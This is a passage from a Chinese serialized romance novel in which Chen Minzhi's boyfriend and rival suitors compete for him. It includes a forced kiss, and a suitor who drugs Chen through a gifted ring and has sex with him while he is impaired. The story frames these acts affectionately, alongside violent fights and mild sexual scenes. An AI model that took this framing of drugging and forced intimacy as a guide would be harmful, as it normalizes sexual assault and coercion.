卫殊安抚地亲了亲他的唇角:“车窗是单向的,不会有人看见。” “可、可是” 可是这种事情对向来循规蹈矩的陈悯之来说还是太出格了。 但男人跪在他身上,像只听话的大狗一般垂着脑袋,仿佛乞求、又似诱哄地低声道:“就这一次,好不好,公主?” 陈悯之想到今天发生的事,最终还是红着脸,蚊子似的“嗯”了一声。 或许,他也需要给卫殊一些安全感的。 但就在这时,他看见卫殊手上不知何时多出了一块儿粉色的布料。 那布料挺小一片,看上去还有些眼熟。 陈悯之回忆了半晌,终于想起这是卫殊带着穿公主裙的他从城堡里逃出来那天,他最里面穿的那件胸衣! 他瞪大眼睛:“它怎么会在这里?” 那天他回宿舍换衣服的时候不是把这些东西全部扔了吗! 仿佛知道他心里想什么,卫殊眼神躲闪地道:“那天,我把这件偷偷收起来了。” 陈悯之还是觉得不对劲:“就算收起来,那你为什么要放在车里?” 男人跟只咬了主人内衣被抓包的大型犬一般,垂着个脑袋不说话。 陈悯之迟钝的脑子忽然反应过来什么,他不敢置信地道:“你、你是不是早就” 早就想在车里让他 陈悯之又羞又恼,生气地蹬他一脚:“变态!” 但男人已经扑过来,大狗似的在他脸上舔了一下:“穿给我看,好不好,公主?” * 一小时后,男人脸上多了几个通红的巴掌印。 那一小片粉红色布料也已经被扯得完全不能看了。 迷迷糊糊的公主到此刻才忽然想起自己中午回家的原因,是为了不浪费卫殊做好的午饭。 于是他抓着男人的胳膊,声音虚弱地道:“饭、饭要凉了。” 辛勤耕耘的卫殊满头大汗地抬头:“什么饭?” 陈悯之:“你不是说你做了午饭吗?” 卫殊动作一顿,偏过头去不说话了。 陈悯之瞪大眼睛:“你不会没做吧?” 卫殊低着个脑袋:“老婆,要不你再打我一巴掌吧。” 陈悯之把那片湿哒哒的布料砸到他脸上:“滚!” 最后,小公主哭着明白了一件事。 再忠诚听话的大狗,也会有骗人的时候。 第60章 第 60 章 诡计多端的坏狗。 60 卫氏最近在商场上遇到了一些麻烦。 谈好的合作商忽然毁约、赞助商突然说要撤资、以及一些看上去不痛不痒、细究起来却容易引发一系列连锁反应的“小麻烦”, 树大招风,看上去防御得再滴水不漏的公司,也总有一些地方容易落人把柄。 而与之相反的是, 另外三家的生意做得风生水起, 甚至隐隐有了强强联合的趋势。 卫殊不用动脑子都知道背后是谁在捣鬼。 但尽管知道他们的目的是什么,作为卫氏的继承人, 许多事情他也不得不出面。 为了处理这些麻烦事,卫殊不得不出差三天,而这已经是他能够压缩到的最短时间。 临行前,他把陈悯之抱在怀里,脑袋深深埋在少年散发着温热香气的脖颈处,像只对主人依依不舍的大型犬:“我会尽快回来。” 陈悯之打着哈欠道:“不急,你先把公司的事情处理好。” 卫殊又抬起头, 紧紧盯着他的眼睛叮嘱道:“这几天我会派人保护你, 但你没有如果没有重要的事,还是尽量待在家里。” 陈悯之看着男人一脸凝重的模样,觉得他有些过分紧张了, 对他扬起一个松快的笑容:“放心吧, 我不会有什么事的。” 主要是这两天是周末, 他不用去学校,也就不会碰见秦陌了。 除了秦陌那个疯子, 陆承轩和顾明珏能闹出什么事来?陈悯之满不在乎地想。 卫殊低下头, 与他交换了一个气息深重的吻, 最后亲了亲他的额头:“老婆, 等我回来。” 陈悯之:“嗯嗯。” 送走了卫殊,陈悯之又钻进被窝里睡回笼觉了,因为要分别几天, 昨晚上卫殊折腾了他一宿,他也难得纵容了男人的过分要求,但代价就是他今天浑身酸痛,连胳膊都抬不起来。 这一觉一直睡到下午两点,陈悯之揉着惺忪睡眼醒过来,发现手机上弹出了一条未读消息。 顾明珏:【悯之,芝芝最近学会了后空翻,你要来看看吗?】 * 陈悯之对小猫会后空翻这件事持怀疑态度,但最终还是去了顾明珏家。 一是因为他答应了顾明珏要去看看小猫,恰巧今天卫殊不在,省得男人吃一些不必要的醋,二是这么久没见,他的确有些想念小猫了。 陈悯之原以为分别这么多天,小猫会不认得他了,没想到他一进门,小猫就欢快地扑了过来,围绕着他的腿打转,用雪白的尾巴尖儿在他裤腿上蹭来蹭去。 他欣喜地把小猫抱起来:“芝芝还记得我呢。” 一旁的顾明珏笑道:“它一直都很想你,你不在的时候,它经常跑去你的床上睡觉。我想,大概是因为上面留有你的气味。” 陈悯之一听,脑海里浮现出小猫趴在他睡过的枕头上喵喵叫的情形,一颗心顿时软得不行,又浮现出一抹浓浓的愧疚,低头亲了小猫一口:“都是爸爸不好,爸爸以后会经常来看芝芝的。” 他脑子里甚至突然冒出来一个奇怪的想法,要是他和顾明珏是邻居就好了,这样他就可以每天都来看小猫 但他转念又想到卫殊,觉得这样的话这两人恐怕会打起来,遂将之抛诸脑后。 陈悯之蹲在地上,拿着逗猫棒和小猫玩儿,试图引导小猫做后空翻,但他等了一下午也没等到小猫的后空翻,不禁狐疑地问顾明珏:“你是不是逗我的?” 顾明珏信誓旦旦:“它真的会后空翻,你不在家的时候它天天翻呢。” 陈悯之:“是吗?” 于是他又饶有兴致地逗了小猫许久,但始终没有等到小猫的杂技表演,于是兴致缺缺地放下逗猫棒,准备休息一会儿。 可陈悯之没想到,因为蹲得太久,他站起身的那一刻脑子里突然感到天旋地转,眼前一黑就往一旁栽去。 预想中的疼痛并没有到来,他落入了一个温暖结实的怀抱里,不过,那人似乎也没有站稳,被他撞得抱着他一起滚到了地上。 天旋地转间,陈悯之只觉得嘴唇撞上了一个柔软的事物。 摔下来的冲击力让这一撞的力道并不小,他嘴上一痛,随即尝到淡淡的铁锈味,感觉是牙齿把嘴皮磕破了,但很快,湿热的触感便贴了上来,男人粗粝的舌.尖舔上了他唇上的伤口。 像是尝到甜味的蛇,男人的舌.头顺势钻进了他的口腔,舔过他洁白的齿列,然后缠起他的舌.头,贪婪地吮.吸上面的汁液。 “唔——” 陈悯之大脑里的晕眩还未过去,身体却本能地抗拒起来,他撑着身体想要从顾明珏身上爬起来,刚刚曲起来的小腿却被人极有技巧地一顶,当即就从地板上滑了下去,他整个人又重新跌回了男人身上。 并且,因为摔下去的力道,被男人顺势亲得更深了。 “不准、唔——不准亲了——” 陈悯之被吻得喘不过气,只能在换气的间隙中费力地说出拒绝的话,但很快又被人用更深的吻给堵回去。 平日里看上去温温柔柔,如同玉骨君子一般的男人,此刻却仿佛化身成一条几个月没吃过肉的鬣狗,咬死他的舌头不放开,粗重的呼吸喷洒在他的脸上,仿佛贪婪的猎食者齿缘上留下的涎水。 因为缺氧,陈悯之原本就晕的脑袋变得更晕了,他的挣扎渐渐弱下去,姿势也不知何时发生了调转,由原本的趴在男人身上变为被人压在身下,男的单手扣住了他的双腕,压在头顶,遏制住了他所有逃脱的空间,让他只能被迫张开嘴,承受男人唇.舌更深重又恶劣的侵.犯。 陈悯之不记得到底亲了多久才被放开,只知道对方抱着他从地上坐起来的时候,他脸上已经满是生理性的泪水。 少年五官生得柔软,皮肤白里透红,眼睫上颤颤巍巍挂着泪,明明只是被亲吻而已,他却像只受了很大欺负的兔子,哭得眼眶都红了,眼角一颗小红痣落在晶莹的泪珠里,可怜又漂亮。 顾明珏抬手拭去他的泪水,无奈道:“怎么哭了?” 陈悯之别过头去,觉得有点丢脸。 他明明没有想哭的,但他这体质不知为什么一被亲久了就特别容易流眼泪,他也很苦恼。 顾明珏叹了口气:“抱歉,悯悯,是我的错。” 陈悯之转过头来,红着眼睛瞪他:“你故意的!” 顾明珏失笑道:“只是碰巧而已,我可没有故意让你摔跤。” “你是说你接住我的时候,碰巧撞到了我的嘴巴上,然后舌.头再碰巧伸进了我的嘴巴里吗!” 陈悯之气得胸口上下起伏,他是不聪明没错,但他也不是傻子! 顾明珏一边拍着他的后背给他顺气,一边不紧不慢地说:“抱歉,悯悯,你撞上我的嘴巴是碰巧,但我吻你的确是故意的。” 男人眉眼微敛,很是无奈地说:“你也知道,我喜欢你,一个男人在面对心爱之人的投怀送抱之时,是很难拒绝的。” 陈悯之立刻脸红脖子粗道:“谁对你投怀送抱了!” 顾明珏若有所思:“哦?刚才不是悯之主动扑进我怀里的吗?我记得,悯之刚才还抓了我的胳膊。” 陈悯之瞪大眼睛说不出话。 他刚才那明明是人摔倒时候的本能反应!这也能被顾明珏说成是他投怀送抱! 少年脑子没男人转得快,说又说不过男人,只能很气愤地破罐子破摔:“我以后不要来这里了!” 然而他刚起身,就被人拉住了胳膊。 顾明珏从低处望着他,眼角眉梢挂着恍若被心爱之人抛弃的神伤:“悯之,我曾对你说过,我和我母亲是一样的人,一旦爱上谁,我的感情便很难改变。我知道你不喜欢我,但也请你给我一些时间,让我放下你,好不好?” 男人垂下清俊的眉眼,竟流露出一丝罕见的脆弱:“我只是,想要以朋友的身份待在你身边而已。” 陈悯之的动作停下了。 他低头看着顾明珏,有些踌躇的模样。 他想到顾明珏的母亲,想到顾明珏那令人悲戚的身世,忽然觉得自己是不是太自私、太严苛了一点 也不全是顾明珏的错是他不小心摔跤的,顾明珏一开始只是想接住他而已 他也是男人,知道顾明珏至少有一句话说得对。 ——一个男人在面对心爱之人的投怀送抱之时,是很难拒绝的。 那好吧,那好吧。 心软的小兔子又一次想道,那就再原谅他这一次吧。 毕竟他也只是,一个对爱情求而不得的可怜人罢了。 顾明珏都这么可怜了,那他陈悯之就发发善心,再多给他一些时间,让他走出过去好了。 踌躇不定的少年没有看到,身在低位、看似脆弱得下一秒就要碎掉的男人,眼底那如狼一般一闪而过的狡色。 面对已经动摇的小兔子,披着羊皮的狼再一次流露出一副柔弱无害的模样,低低地恳求道:“可以吗?悯之?” 陈悯之最终还是咬咬牙:“那好吧。” “不过,这是最后一次了。”软乎乎的小兔子鼓着脸颊,说出了自以为很凶狠的一番威胁,“你下次要是再欺负我,我、我就和你绝交!” 顾明珏笑了,笑得温柔如春风:“嗯,谢谢悯之。” * 折腾一天,回到家里,陈悯之已经累得不想动,吃完晚饭早早就洗完澡上床了。 不过,在爬上床后,他的目光落在床头柜上,视线停驻在一个戒指盒上。 那是陆承轩送给他的那枚戒指。 陈悯之面露疑惑,这个小盒子是放在这里的吗?可他明明记得他带回来后,怕卫殊发现,给塞进抽屉里藏起来了呀。 难道是卫殊已经发现了 这可怎么办 这时,陈悯之想到了他在网上看到过的,一个常见的解决麻烦的办法。 那就是——【他不问,你不说,他一问,你惊讶。】 心虚的陈悯之打算践行这条准则。 于是他把戒指盒拿起来,打算再偷偷摸摸放回原位,装作什么都没发生的样子,反正离卫殊回来还有好几天呢,说不定到时候对方早忘了。 但这时候他又忽然想到陆承轩的话。 “我没有奢望哥哥每天戴它,我只是希望,哥哥偶尔戴着它的时候,也能想起我来。” 这是陆承轩亲手设计的戒指,陆承轩为了送给他手都受伤了陈悯之想到这里,又觉得有些心软,于是鬼使神差地打开了戒指盒。 鸽血红宝石戒指静静躺在绒布上,色泽纯如烈火,仿佛下一刻就要熠熠燃烧起来。 其实自陆承轩把戒指送给他后,他还从来没有仔细看过,现在看着,这枚戒指还真的挺漂亮,无论是上面的宝石、还是设计和做工,都是一流。 陈悯之把它从戒指盒里取出来,试了几根指头,发现在其他指头上不是大了就是小了,只有戴在无名指上刚好合适。 抱着对美好事物的欣赏,他戴着戒指美美欣赏了一会儿,然后开始在睡前惯例地玩手机。 但或许是今天太累了,他玩儿了没一会儿就睡着了,手上的戒指也忘了取。 夜色渐浓,万籁俱寂,只有黯淡的月光透过窗棂,阴惨惨铺上一层冷辉。 睡梦中的少年,脸上无知无觉地染上一抹红色,他身上不知何时变得很热,像是感到难受似的,一双腿也开始无意识地蹬动起来,其中一只翻出了被子,搭在外面,似月光下的白雪。 一只鸟雀从枝头惊飞,摇晃树影间,一道漆黑的身影,如同幽幽鬼魅般,悄无声息地从卧室窗台上翻了进来。 60-70 第61章 第 61 章 小狗要的不多,只要一点…… 61 宽敞的大床上, 少年睡得很熟,白皙脸颊里透着浅粉,乌黑纤长的眼睫在眼睑处投落一小片阴影, 嘴唇粉润, 在睡梦中轻轻地嘟着,漂亮得像童话里沉睡的公主。 中了沉睡魔咒的公主, 对悄然逼近的危险毫无所觉,只是因为难受,而从嘴里时不时地发出一声轻哼。 陈悯之只觉得身上很热,并且这种热不是从外面传来的,而是从他身体内部传来的,好像有人往他身体里种了一个小火球,沿着他的血脉四处滚动, 难言的热与痒随之蔓延到四肢百骸。 他无意识地张开嘴吐气, 想要将身体里的热量散发出去一点,却在嘴巴张开的下一刻,感觉有什么东西趁机钻了进来。 粗粝的、湿热的、带着黏糊糊气味的东西, 像是某种大狗的舌.头, 探入了他的口腔, 随即就仿佛饿狗似的,迫不及待地在他嘴里舔.舐起来, 烫热的舌尖先是刮过他的上颚, 然后再顺着他的下齿舔.吻一圈, 随后又勾着他的舌.头, 用尖尖的犬齿叼着在嘴里嗦。 夜很静,因此一些细微的声音便格外明显。 极近的距离下,陈悯之甚至能听到男人吃着他的舌.头嗦出的细密水声, 以及对方喉结吞咽的声音,趴在他身上的仿佛是一只饕餮,要从嘴巴开始,将他连人带骨吞吃入腹。 被猎食者叼住的恐惧让陈悯之本能地挣扎,伸手推拒着男人,想要从睡梦中醒过来,可他的意识仿佛被一个无形的玻璃罩给罩住了,昏昏沉沉的,怎么都无法挣脱出来。 而他的困境恰巧方便了男人的动作,对方变本加厉地舔吻着他的舌根,嘬着他柔软的嘴唇,宽大手掌更是肆无忌惮地探入被褥,伸进了他的睡衣里。 “呜”因为害怕,却怎么都无法挣脱,睡梦中的少年从喉咙里发出了一声呜咽,一滴晶莹的泪珠从他眼角滚落下来。 尽管意识模糊,可怜的小兔子却也本能地意识到,他似乎要被可怕的食肉动物吃掉了。 但下一刻,有湿哒哒的触感落到了他眼角,那只一直在他口腔中肆虐的舌.头,放过了他的嘴巴,用舌尖将他的泪滴卷入嘴里,然后轻轻在他眼皮上舔了一下,安抚似的。 他听到男人低沉的声音落在耳边:“宝宝。” 陈悯之呜咽停止下来。 少年白净柔软的脸上满是茫然,明明眼睛没有睁开,却能让人想象出那双又黑又圆的眼睛,像小动物一样懵懵懂懂望着人的样子。 他从喉咙里发出一声模糊的、怀疑的咕哝:“卫殊?” 陈悯之记得,卫殊在他哭的时候,也会用这样宠溺的语气叫他。 这时候男人不会叫他老婆,而是会像哄小孩子一样叫他宝宝,或者叫他公主宝宝,陈悯之每次被这么叫的时候虽然羞,却也不可否认的,因为这样温柔宠溺的轻哄,而感受到像是温水一样将他包裹起来的爱意,从而渐渐止住哭泣。 而且这时候,一直很凶的男人也会难得地温柔下来,用舌.头轻轻舔过他眼角流下来的泪水。 可是卫殊不是出差了吗?还说要去三天来着。 大概是放心不下他,晚上又不嫌麻烦地跑回来了吧,陈悯之迷迷糊糊地想着。 可他等了半天,却并没有等到男人的回应。 黑暗中,只能听到对方急促的喘气声,和上下牙齿紧紧贴合摩擦的声音,仿佛在咬牙切齿地极力忍耐着什么。 陈悯之觉得似乎有些不对劲,他难受地哼哼着,蹬腿挣扎起来,想要把身上的男人踹下去。 可下一刻,他又听到了男人低沉的、温柔的回答:“嗯,宝宝。” 唇上也落下了一个温热的亲吻。 于是他的挣扎又停止下来。 自从吃醋事件过后,卫殊似乎变得很不安,对他的索求总是很多,陈悯之知道他需要给恋人一些安全感,所以除了太累的时候,也从来没有拒绝过。 他感受到男人烫热的唇舌,从嘴唇游.走到了他的耳根,叼着他的耳朵舔舐起来,像是犬类一般,一边舔一边轻轻地咬,要在上面留下自己的气味似的。 舔完他的耳朵,对方又开始舔他的脖子、锁骨,湿滑的舌.头像一把粗糙的刷子,把他的整个脖子都刷遍了,弄得湿漉漉的,好像被大狗的舌.头滚了一圈。 陈悯之有些迷惑地想着,卫殊今天怎么变得有些奇怪,好像突然变得特别喜欢舔他,像某种毛茸茸的、很喜欢伸舌.头舔人的大型犬一样。 但他的意识本就很模糊,又是在他感到安全的自己家里,加上身上也不太舒服,在四肢沸腾的热意不停催促着他去回应身上的男人,于是他也没有多想,在男人一声声“宝宝”的诱哄下,渐渐顺从地打开了身体。 他感到男人深深地、用力地抱住了他。 * 陈悯之是被脸上一阵湿漉漉的触感弄醒的。 湿热的舌.头在他脸上舔舐,不是出于情.色意味地舔,而是像热情的小狗对主人表达喜爱般,轻柔又快速地,一下一下舔着他的脸颊,弄得他痒痒的。 他忍着浑身的酸痛,迷迷糊糊睁开眼,入目就是一头浅棕色带卷的头发,在清晨阳光的照耀下泛着浅浅的金色,像金毛犬软茸茸的毛发。 陈悯之瞪大眼睛,条件反射地一巴掌扇了过去。 “陆承轩,你怎么在这里!” 被扇了一巴掌的青年,好似得了奖赏一般,抬起头对他露出一个甜蜜又羞涩的笑容:“哥哥,我以后都是你的人啦。” 陈悯之呆了几秒钟才反应过来他这句话是什么意思。 昨晚的一切都太模糊了,他几乎以为那是一场梦,然而浑身的痕迹都提醒着他,这一切确确实实地发生了。 他跟陆承轩睡了。 他出.轨了。 陈悯之崩溃地喊叫出声:“怎么会是你!” 陆承轩有些不满地嘟囔道:“哥哥以为是谁呢?” 令人无法接受的事实让陈悯之声音都在颤抖:“我当然以为是” 当然以为是卫殊。 然而背叛爱人的羞耻感,让他现在甚至耻于提起卫殊的名字,一想到他趁着卫殊出差的时候跟其他男人睡了,陈悯之就觉得无地自容。 这时,他想起了什么。 他是不可能在清醒状态下做出这种事的,一定是陆承轩对他做了什么! 陈悯之绞尽脑汁地回想昨天发生的事情,一个闪电般的念头窜过他的脑海:“戒指!你是不是又在戒指上做了什么手脚!” 陆承轩冲他眨眨眼睛:“哥哥变聪明了呢。” 陈悯之:“你明明说这枚戒指上没有窃听器的!你又骗我!” 陆承轩委屈地说:“我没有骗哥哥,戒指上确实没有窃听器,我只是在戒指里面加了一点能让哥哥舒服的药物而已,不过哥哥放心,对身体不会有伤害的。” 陈悯之崩溃地哭了,被自己气哭的。 他竟然又一次相信了陆承轩的鬼话,他早该明白,这根本就不是什么温顺听话的金毛犬,而是一头阴险狡诈的狼! 他“啪”地一巴掌扇在了陆承轩脸上:“滚!” 但男人非但没被这一巴掌扇醒,反倒更兴奋了,得了奖励的狗狗一般扑上来舔他眼角的泪:“哥哥不要生气嘛,我现在是哥哥的人了,以后都会听哥哥的话的,哥哥让我做什么我就做什么。” 陈悯之奋力推开他:“那我现在让你滚!滚出去!” 但嘴上说着会听话的男人,实际上却只是对他的话选择性听从,只听自己喜欢的,像这种不喜欢的话,就完全装作听不见一般,像黏人的牛皮糖一样,又扒上来,亲昵地舔从少年眼眶里流出来的泪水。 “哥哥别伤心啦,我又不是来拆散哥哥和卫殊的,我只是想要和哥哥做最亲近的人,哥哥就当是养了一条小狗,小狗要的不多,只要哥哥偶尔想起来的时候,能喂它一点爱,它就会永远都听哥哥的话啦。” 这番情话着实称得上动听,而且听上去十分体贴,好像不会给人带来一点负担和麻烦,但陈悯之知道,那只不过是又一个圈套。 他把贴到自己脸上的人一巴掌挥开:“我不要!我不养狗!” 少年坐在床上,崩溃又无助地哭泣着:“你这样,让我怎么面对卫殊。” “只要哥哥不说,他不会知道的。”陆承轩满不在乎地撇了撇嘴角,“况且就算他知道又怎样?身为哥哥的男朋友,连这点肚量都没有,那他就不配拥有哥哥,哥哥不如跟他分手,跟我在一起好了,我就不会怪哥哥。” 陈悯之被他话里面的逻辑给惊呆了,他见过不要脸的,还没见过这么不要脸的,这简直就是在胡搅蛮缠! 人在极度震惊下会失语,陈悯之呆呆地说不出话,却不知道他这幅模样在男人眼里可爱得要命,刚消停一会儿的男人舔舔嘴唇,又像只永远不会得到满足的狗一样扑了上来。 “不准、不准舔了!”陈悯之一边躲避一边说。 然而陆承轩今天似乎格外兴奋,小狗一般喜爱又欢快地舔着他的脸颊,怎么都不够似的。 就在这时,门口忽然传来一声巨大的踹门声。 原本就精神紧绷的陈悯之被吓得一抖,循声望去,只见原本不该出现在这里的男人,不知何时回到了家里。 男人高大的身形堵在门口,仿佛一尊漆黑的煞神,一双兽眸如同熊熊燃烧的烈焰,死死朝他们盯过来。 第62章 第 62 章 “卫殊我们分手吧…… 62 陈悯之望着立在门口的男人, 大脑一片空白。 他张了张嘴,想要叫卫殊的名字,喉咙却像是卡住了般, 一个字也说不出来, 只能呆呆地坐在床上,像只刚睡醒就被吓懵了的树袋熊。 陆承轩倒是很淡定, 慢慢悠悠地从少年身上爬起来,给自己赤着的上身套上了衣服。 然而他扣子都还没扣好,身后就突然袭来一股大力,将他整个人提起来,“砰”的一声重重摔在了地板上。 没有丝毫喘息的机会,男人仿佛一头配偶被侵犯、暴怒到极点的野兽,双目猩红, 脖颈上鼓起可怖的青筋, 大手提起陆承轩的衣领,坚硬的拳头如同暴雨般砸了下去。 陆承轩冷笑一声,毫不犹豫地出拳反击。 “砰砰砰砰——” 两个男人如同两头相互撕咬的野兽, 从床上打到床下, 再从床下打到床上, 一会儿滚到地板上,一会儿砸进衣柜里, 狭小的房间内充斥着剧烈的撞击声, 声音大到仿佛整个楼板都在震动。 这完全就是不要命的打法, 双方都使出了全力, 宛如两头发疯的雄兽,没一会儿,两个人都被打得头破血流。 陈悯之吓得呆了, 眼睫抖得像是风中的落叶,他四肢僵硬,手心发冷,完全不知道该怎样去处理现在的局面。 先动手的是卫殊,按理说,他应该先去劝卫殊停手的,可他做了背叛卫殊的事情,到现在身上都还是陆承轩留下的痕迹,像是他和对方狼狈为奸的证据,这让陈悯之只觉得脸上像是有火在烧,怎么都开不了这个口。 忽然,耳边传来砰的一声巨响。 只见一颗脑袋重重撞击在墙上,干净的墙面瞬间印上了血痕,陆承轩的身体顺着墙面滑下去,他撑着身体想要爬起来,却被迎面袭来的一拳再次打翻在地,一双手死死掐在他的脖颈上,扼住了他的呼吸。 男人手臂肌肉紧绷,小麦色的皮肤上血管凸起,一双眼睛已经完全被染成了血红色,他双目鼓胀,里面燃烧这人赤.裸裸的杀意。 在那一瞬间,卫殊是真的想要杀了陆承轩。 可就在这时,他听到身后传来一声惶急的、近乎恐慌的惊呼:“住手!” 他缓慢地转动脖颈,看向声音来处。 少年坐在床上,身上穿着米白色的睡衣,上面印着可爱的小兔子图案,是他们一起逛商场时,他亲手为陈悯之挑选的,说上面的小兔子很像他。 当时陈悯之抿着嘴巴,很小声地说他胡说,他又不是兔子,而且他是男人,才不要穿什么小兔子睡衣。 但最终,在他的诱哄下,脸皮很薄的少年,还是红着耳根子答应将它买下来。 这时陈悯之对他的偏宠,是小公主爱他的证明。 而现在,睡衣纯白色的布料下,掩盖着的是别的男人留下的吻痕。 它们像是藤蔓一样,密密麻麻地从少年雪白的领口处爬出来,绞缠着他的神经,撕咬着他的心脏,他只要一想到那些痕迹是怎样印上去的,心口就传来一阵窒息般的绞痛。 可少年就那样坐在床上望着他,用那双乌黑的、无助的、被泪水浸湿的眼睛,像只吓坏了的小动物一般,惶惶然朝他望过来,很小声地叫他的名字:“卫殊” 于是卫殊缓缓地、缓缓地,松开了掐住陆承轩脖颈的手。 他知道他输了。 但他不是输给陆承轩,而是输给小公主的眼泪。 这个脸色苍白、受到玷污的小公主,这个对他不忠、为别的男人求情的小公主,但他爱他。 他可以出轨、可以背叛,怎样都可以。因为只要他用那双含着泪的眼睛看他一眼,他就将丢盔卸甲,沦为被无形的锁链拴住的败犬。 卫殊走过去,抬手,轻轻拭去了少年脸上的泪。 男人脸上犹带血迹,像是从地狱归来的恶鬼,说出的话却很轻柔:“别哭,公主。” 可陈悯之惶惶然看他一眼,乌黑的眼睫一抖,哭得更厉害了。 少年也不说话,就只是看着他抽噎,晶莹的泪珠一颗颗从眼眶里滚落下来,看上去可怜又无助,却也漂亮得惊心动魄。 卫殊低头,伸出舌头,像对待珍宝一般,将少年脸上的泪水一滴滴舔进嘴里。 他声音沙哑:“对不起,答应了你不再打架,我食言了。” 卫殊吻着少年的眼睫:“原谅我,好不好,公主?” 但他还没得到回答,就听到背后响起一道声音:“怎么吃独食呢?” 与此同时,他被一股大力从床上掀了下去。 卫殊完全没料到这一出,猝不及防滚到了床下,脊背重重摔在地板上。 他一抬头,只见一条狗趴在床上,伸着湿红色的狗舌头去舔少年脸上的泪,一边舔一边狗叫道:“卫殊怎么又把哥哥弄哭啦,真是好坏哦,会咬人的狗可不能养,哥哥还是把他扔掉吧,养我就好啦,哥哥你眼泪好甜哦给我也舔舔。” 卫殊从地上爬起身,一把抓起陆承轩的领子,咬牙切齿:“陆承轩,你想死是不是?” 陆承轩啪地把自己的领子扯回来,很不耐烦地说:“怎么了哥哥的眼泪是你的所有物吗,就你一个人能舔?你和哥哥结婚了吗你管这么宽,一个空有名头的男朋友而已还真把自己当回事儿了,我又没说要拆散你们就是看哥哥哭得太可怜了我舔一舔,哥哥要是不喜欢我那我能有这个机会舔吗,哎你嚷嚷什么啊我这不是从哥哥身上下来了吗。” 这一番话说完,卫殊脸上的神情可以称得上是扭曲,他实在没想到,竟然有人能厚颜无耻到如此地步。 男人拳头捏得咯咯作响,骨头都快攥得碎掉,但他看了一眼旁边的少年,终究还是忍住了把陆承轩的狗脸揍成狗屎的冲动,只恨恨盯着陆承轩:“趁我改变主意杀了你之前,滚出去。” “你吼什么啊,没看哥哥都吓着了吗?”陆承轩哼了声,转头对陈悯之摆出一副楚楚可怜相,“哥哥你听见了吗他说他要杀了我诶,哥哥你不会坐视不理的吧,哎呀哥哥你和这种潜在杀人犯待在一起真是太危险了要不哥哥你还是跟我走吧。” 卫殊眼底寒光一闪,正欲开口,却听见一道很轻的声音。 “卫殊要不我们分手吧。” 空气仿佛静止了。 有一瞬间,卫殊几乎以为自己是听错了,他站在原地愣了快半分钟,才僵硬道:“悯悯,你说什么?” 陈悯之垂着眼睛,重复道:“我说,卫殊,我们分手吧。” 卫殊不动了。 “哎呀你是聋子吗哥哥说要和你分手你听不见吗?”旁边陆承轩幸灾乐祸地说。 但卫殊在此刻无视了他,他蹲下身,双手扣住陈悯之的双肩,死死盯着少年低垂的眼:“悯悯,我们不是说好了,不能随便提分手吗?是因为我违背了诺言,你生气了对不对?我答应你以后再也不打架了,今天发生的一切,我也都可以当做没看见,我们就像从前一样,好好过日子,好不好?” 陈悯之抬起一双湿漉漉的眼睛,颤颤道:“可是,我背叛了你。” “不止和陆承轩,其实我昨天还去了顾明珏家里看猫,然后不小心和他亲上了还有上周,你来学校接我的那次,我也和秦陌亲了”他手指攥着被角,越说声音越小,“我我是一个糟糕的恋人,不值得你对我这么好,可能这辈子,也不适合跟人谈恋爱所以,我们还是分手吧。” 说完,陈悯之紧紧闭上了眼睛,仿佛不敢去看男人此刻脸上的神情似的。 他猜卫殊此刻一定很生气,也很难过,说不定会后悔跟他这样一个糟糕的人谈恋爱,卫殊总说他是全世界最好的公主,可陈悯之知道自己不是,他只是一个,从小到大都很笨、什么事情都做不好的笨蛋罢了。 可下一刻,他被一双臂膀紧紧拥入了怀中。 “我知道。”男人低沉沙哑的声音响在他耳边,“我都知道。” “什么”陈悯之睁大了眼睛。 他听见卫殊说,“可我不在乎。” 身材高大的男人,半跪在他床前,从低处深深望着他:“悯悯,从始至终,我在乎的只有你而已。” “只要你在我身边,你想做什么都可以。” “哪怕是把你的爱分给别人,也没关系。” 卫殊知道,他的小公主是世界上最心软的人,他有一颗看上去像是顽石般难以进入的心,实际上却很容易就被打动。 只要你让这颗心动了一下,它就会很大方地,分出柔软的爱给你。 他其实并不像自己表现出来的那样高尚。 说什么哪怕陈悯之不爱他也没关系,其实都是假的,因为他知道这颗心,总有一天会被他打动。 事实上,要是陈悯之不爱他,他将会成为一条丧家之犬,活着还不如死了的好。 小公主难以为人所独有,因为他太过心软,或许有一天,他会心软到给每一个人都分一点点爱。 卫殊从一开始就知道这一点,只是,从前他总抱着不切实际的幻想,觉得只要守护好他的小公主,小公主就会永远生活在他的怀抱中。 但他错了。 卫殊握着少年的手,低头将额头靠在少年的手背上,声音近乎恳求:“所以,不要分手,好不好,悯悯?” 陆承轩冷笑一声:“装什么大方啊刚才不还想杀了我吗,现在在这儿演什么,哥哥你别信他的鬼话,我看还是——” 他话还没说完,被卫殊邦邦两拳揍晕了过去。 陈悯之看着男人,期期艾艾道:“可是” 卫殊没有再给他说话的机会,他用被子把少年一裹,横抱下楼,塞进了自己车里。 第63章 第 63 章 “你值得世界上最好的爱…… 63 陈悯之身上裹着被子, 像个蚕宝宝一样被卫殊抱在怀里,他听见男人低沉地对前方的司机下令:“开车。” 然后就升起了车内的挡板。 陈悯之懵懵地,在男人怀里蛄蛹两下, 问:“你要带我去哪里?” “去B市, 我出差的地方。”卫殊低头在他额上吻了一下,“把你一个人留在家里我不放心, 这几天宝宝辛苦一下,先待在我身边,好不好?” “可是”陈悯之抿了抿嘴巴,“我们现在不是分手了吗?” 卫殊抱着他的手臂明显收紧了一下,男人深呼吸几次,才哑声开口:“悯悯,要两个人都同意的才能算分手, 只有其中一个人提出的不算, 这是常识。” 陈悯之愣了下:“是、是吗?” 卫殊:“是的。” 陈悯之呆呆地问:“可是你为什么不同意?” 卫殊深吸一口气,扣住他的肩问:“悯悯,我刚才和你说的那些话, 你是不是一个字也没听进去?” “我听进去的了的”陈悯之回答着, 声音却很小。 好吧, 其实他只听进去了前半段,就是卫殊说知道他跟另外几个人“出轨”的那部分, 至于后面的, 他压根就没怎么听懂。 什么叫只要在他身边, 把他的爱分给别人也没关系? 前面卫殊说他不在乎, 陈悯之可以理解为卫殊是因为他哭了,在安慰他,但后面这句, 陈悯之却怎么也想不明白了。 他为什么要把爱分给别人?爱怎么还能分割呢?又不是分苹果,这里分一块儿,那里分一块儿。 但没等陈悯之想清楚,一只宽大手掌已经落在他的脑袋上,将他摁进了一个温暖宽厚的怀抱里。 他听见卫殊叹了口气:“悯悯,你累了,先睡一会儿吧。” 被陆承轩折腾了一晚上,醒来后情绪又经过了剧烈的拨动,陈悯之现在的确是累了,卫殊有力的手臂环绕着他,像是为他筑起的一圈城墙,他躺在里面,有一种在其他人那里没有的安全与安心。 于是陈悯之就在这个怀抱里,慢慢地睡着了。 * 